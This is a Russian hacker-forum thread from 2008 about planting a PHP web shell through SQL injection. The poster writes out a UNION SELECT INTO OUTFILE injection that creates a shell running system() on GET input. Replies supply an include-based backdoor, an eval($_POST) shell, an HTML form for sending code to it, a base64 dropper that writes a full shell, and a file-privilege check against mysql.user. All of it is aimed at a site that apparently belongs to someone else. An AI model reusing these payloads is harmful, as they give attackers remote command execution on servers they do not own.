Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Заливка php шелла (https://forum.antichat.xyz/showthread.php?t=57864)

ty13r 08.01.2008 19:49

Заливка php шелла
 
В общем имеется дырявый сайт с инъекцией http://site.com/bug.php?&id=-1' union select 1,2/*
Пытаюсь залить на него php-shell: http://site.com/bug.php?&id=-1' union select <? system($_GET[cmd]);?>,2 into outfile '/www/site/shell.php'/*
Шелл shell.php успешно создается но при попытке исполнить команду http://site.com/shell.php?cmd= ничего не выводится. Пытался использовать и exec() и passthru() - результат тот же. Функции system(),exec() и passthru() не задизейблены.
Подскажите что не так?
ЗЫ сервер крутится на винде

.Slip 08.01.2008 20:05

<? include($_GET[blablabla]);?>

ty13r 08.01.2008 20:18

И что? Как я понял это даст произвольные файлы инклудить а мне бы команды выполнять

.Slip 08.01.2008 20:58

Омфг. Инклудишь шелл, дальше работай шеллом. Удобнее как ни крути.

Termin@L 08.01.2008 21:00

моё решение, заливаешь шелл вида
<?php eval($_POST['shell'])?>
создаёшь html файл с кодом
Код:

<html>
<body>
<form action=[адрес шелла]>
<textarea name='shell'>
</textarea>
</body>
</html>

Затем берёшь и перегоняешь весь код шелла в base64 и пишешь нечто такое -
Код:

$fh=fopen('newshell.php','w');
fputs($fh,base64_decode('шелл в бэйс64'));
fclose($fh);

Вставляешь в textarea и отправляешь
Вот примерно так

Basurman 08.01.2008 21:10

http://site.com/bug.php?&id=-1' union select file_priv,2 from mysql.user/*
Если Y будет, то можно будет INTO OUTFILE, если N, то соответсвенно низя (ну и если выругается, что доступа нет - тоже)

Spyder 08.01.2008 21:12

Basurman, и зачем ему это? пздц, ты вообще первый пост читал?
ty13r, делай то что тебе Слип говорит
ЗЫ Ты кстати какие команды пытался выполнить?

Basurman 08.01.2008 21:14

вот к этому
Цитата:

Шелл shell.php успешно создается
P.S. пздц, а то непохек

Spyder 08.01.2008 21:17

ты што, наркоман? у него файл создаётся соответственно у юзера file_priv = 1, нахуя ему их узнавать то теперь раз он уже смог файл залить? ты сам понял чё написал?

Termin@L 08.01.2008 21:23

Spyder
это не всегда удобно так как пост запросы сразу отпадают, а соответственно и заливка файлов на сервер
2Basurman
а ты знаешь что к таблице mysql.user вобще обычно доступ закрыт?


Время: 21:56